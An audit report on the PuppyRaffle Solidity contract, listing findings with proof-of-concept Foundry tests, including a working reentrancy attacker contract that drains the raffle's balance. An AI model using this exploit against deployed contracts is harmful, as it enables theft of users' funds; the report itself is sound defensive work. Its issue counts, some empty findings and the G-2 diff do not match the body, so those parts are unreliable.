Puppy Raffle Audit Report

Version 1.0

Cryptab

November 14, 2024

Puppy Raffle Audit Report

Cryptab

Nov, 14, 2024

Prepared by: Cryptab Lead Auditors: - Adam B

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incremeting gas costs for future entrants
    * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-3] Smart contract wallet raffle winners without a `receive` or `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle:getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
    * [L-2] Centralization Risk for trusted owners
    * [L-3] Solidity pragma should be specific, not wide
    * [L-4] Missing checks for `address(0)` when assigning values to address state variables
    * [L-5] **`public`** functions not used internally could be marked `external`
    * [L-6] Define and use `constant` variables instead of using literals
    * [L-7] Event is missing `indexed` fields
    * [L-8] Loop contains `require`/`revert` statements
- Gas
  - [G-1] Unchanged state variables should be delcared constant or immutable
    * [G-2] Storage variables in a loop should be cached
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of solidity is not recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` Doesn't follow CEI, which is not best practice
    * [I-5] Use of magic numbers is discouraged
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of friends.

2. Duplicate addresses are not allowed.
3. Users are allowed to get a `refund` of their ticket & `value` if they call the `refund` function.
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy.
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Cryptab team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit hash: e30d199697bbc822b64d76533b66b7d529b8ef5

Scope

```
./src/
#--PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Interesting protocol with an old codebase using an old version of solidity, cool to audit though!

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	0
Info	7
Gas	1
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description Thr `PuppyRaffle::refund` function does not follow CEI (checks, effects, interactions). As a result it enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first need to kmake an external call to the `msg.sender` address and only after making the external call do we update the `PuppyRafle::players` array.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   @>      payable(msg.sender).sendValue(entranceFee);
7   @>      players[playerIndex] = address(0);
8
9           emit RaffleRefunded(playerAddress);
10      }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept

1. User enters raffle
2. Attacker sets up up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attacl contract, draining the contract balance

Proof of Code

Code

Place the following into `PuppyRaffle.t.sol`

```
1       function test_reentrancyRefund() public {
2           address[] memory players = new address[](4);
3           players[0] = playerOne;
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = playerFour;
7
8           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9
10          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
                puppyRaffle);
11          address attackUser = makeAddr("attackUser");
12          vm.deal(attackUser, 1 ether);
13
14          uint256 startingAttackContractBalance = address(
                attackerContract).balance;
```

```
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // Attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting attacker contract balance: ",
            startingAttackContractBalance);
        console.log("Starting contract balance: ",
            startingContractBalance);

        console.log("Ending attacker contract balance: ", address(
            attackerContract).balance);
        console.log("Ending contract balance: ", address(puppyRaffle).
            balance);
    }
```

And this contract as well

```
    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(
                this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if(address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
```

```
32          }
33      }
```

Recommended Mitigation To prevent this, we should have the `PuppyRaffle:refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8   -       players[playerIndex] = address(0);
9   -       emit RaffleRefunded(playerAddress);
10      }
```

[H-2] Weak Randomness in `PuppyRaffle:selectwinner` allows users to influence or predict the winner and influence/predict winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the raffle and selecting the `rarest` puppy. Making the enitre raffle worthless if it becomes a gas was as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integar overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact:
In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the 'feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. When we conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000
// and this will overflow
totalFees = 153255926290448384
```

1. You will not be able to withdraw, due to the line inn `PuppyRaffle::withdrawFees`

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

```

```
        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations 1. Use a newer version of solidity and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could also use the `SafeMath` library of OpenZeppelin for verison 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected. 1. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-     require(address(this).balance == uint256(totalFees), "PuppyRaffle
    : There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incremeting gas costs for future entrants

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:enterRaffle` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1
2 for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win

Proof of Concept:

If we have 2 sets of 100 players, the gas costs will be as such: - 1st 100 players = 6252128 - 2nd 100 players = 18068218

This is 3x more expensive for the second 100 players

PoC

Place the following test into 'PuppyRaffleTest.t.sol

```
1  function test_denialOfService() public {
2          vm.txGasPrice(1);
3
4          // test first 100 players
5          uint256 playersNum = 100;
6          address[] memory players = new address[](playersNum);
7          for(uint i = 0; i < playersNum; i++) {
8              players[i] = address(i);
9          }
10         uint256 gasStart = gasleft();
11         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               players);
12         uint256 gasEnd = gasleft();
13
14         uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
15         console.log("Gas cost of first 100 players: ", gasUsedFirst);
16
```

```
17          // 2nd 100 players
18          address[] memory playersTwo = new address[](playersNum);
19          for(uint i = 0; i < playersNum; i++) {
20              playersTwo[i] = address(i + playersNum);
21          }
22          // check how much gas it costs
23          uint256 gasStartSecond = gasleft();
24          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                playersTwo);
25          uint256 gasEndSecond = gasleft();
26
27          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
28          console.log("Gas cost of second 100 players: ", gasUsedSecond);
29
30          assert(gasUsedFirst < gasUsedSecond);
31      }
```

Recommended Mitigation: There are a few recommendations: 1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate wont stop someone entering twice. 2. Considering using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1  +     mapping(address => uint256) public addressToRaffleId;
2  +     uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8          for (uint256 i = 0; i < newPlayers.length; i++) {
9              players.push(newPlayers[i]);
10 +            addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -        // Check for duplicates
14 +       // Check for duplicates only from the new players
15 +       for (uint256 i = 0; i < newPlayers.length; i++) {
16 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +       }
18 -        for (uint256 i = 0; i < players.length; i++) {
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -            }
22 -        }
23         emit RaffleEnter(newPlayers);
24     }
```

```
25 .
26 .
27 .
28     function selectWinner() external {
29 +       raffleId = raffleId + 1;
30         require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alternatively, you could use [OpenZeppelin's `EnumerableSet` library] https://docs.openzeppelin.com/contracts/3.x/a

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than a `type(uint64).max`, the value will be truncated.

```
1          function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. Interms of ETH, this is ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. A raffle proceeds with a little more than 18ETH worth of fees collected. 2. The line that casts the `fee` as a `uint64` hits. 3. `totalFees` is incorrectly updated with a lower amount.

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment stating:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallet raffle winners without a `receive` or `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for restting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also winners would not even get paid out and someone else could take their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a `fallback` or `receive` function. 2. The lottery ends. 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue:

1. Do not allow smart contract entrants (not recommended).
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle:getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1     /// @return the index of the player in the array, if they are not
          active it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they haven't entered correctly due to function docs

Recommended Mitigation: - Easiest recommendation would be to revert if the player is not in the array instead of returning 0. - You could also reserve the 0th position for any competition. - Best solution might be to return a `int256` where the function returns -1 if the player is not active.

[L-2] Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 20

```
1 contract PuppyRaffle is ERC721, Ownable {
```

- Found in src/PuppyRaffle.sol Line: 208

```
1     function changeFeeAddress(address newFeeAddress) external
        onlyOwner {
```

[L-3] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[L-4] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 70

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 209

```
1         feeAddress = newFeeAddress;
```

[L-5] `public` functions not used internally could be marked `external`

Instead of marking a function as **`public`**, consider marking it as `external` if it is not used internally.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 87

```
function enterRaffle(address[] memory newPlayers) public
    payable {
```

- Found in src/PuppyRaffle.sol Line: 106

```
function refund(uint256 playerIndex) public {
```

- Found in src/PuppyRaffle.sol Line: 234

```
function tokenURI(uint256 tokenId) public view virtual
    override returns (string memory) {
```

[L-6] Define and use `constant` variables instead of using literals

If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 156

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
```

- Found in src/PuppyRaffle.sol Line: 157

```
uint256 fee = (totalAmountCollected * 20) / 100;
```

- Found in src/PuppyRaffle.sol Line: 174

```
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.
    sender, block.difficulty))) % 100;
```

[L-7] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 61

```
1       event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 62

```
1       event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 63

```
1       event FeeAddressChanged(address newFeeAddress);
```

[L-8] Loop contains `require/revert` statements

Gas

[G-1] Unchanged state variables should be delcared constant or immutable

Reading from state is much more expensive than reading from a constant or immutable variable

Instances: -`PuppyRaffle::raffleDuration` should be `immutable` -`PuppyRaffle::commonImageUri` should be `constant` -`PuppyRaffle::rareImageUri` should be `constant` -`PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficient

```
1  +        uint256 playersLength = players.length
2  -        for (uint256 i = 0; i < players.length - 1; i++) {
3  +        for (uint256 i = 0; i < players.length - 1; i++) {
4  -            for (uint256 j = i + 1; j < players.length; j++) {
5  +            for (uint256 j = i + 1; j < players.length; j++) {
6                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
7               }
8           }
```

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

[I-2] Using an outdated version of solidity is not recommended

Please use a newer version such as `0.8.18`

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation:

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither][https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity] documentation for more information

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 70

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 209

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` Doesn't follow CEI, which is not best practice

It's best to keep code clean and follow CEI

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
3           _safeMint(winner, tokenId);
4 +         (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
```

[I-5] Use of magic numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed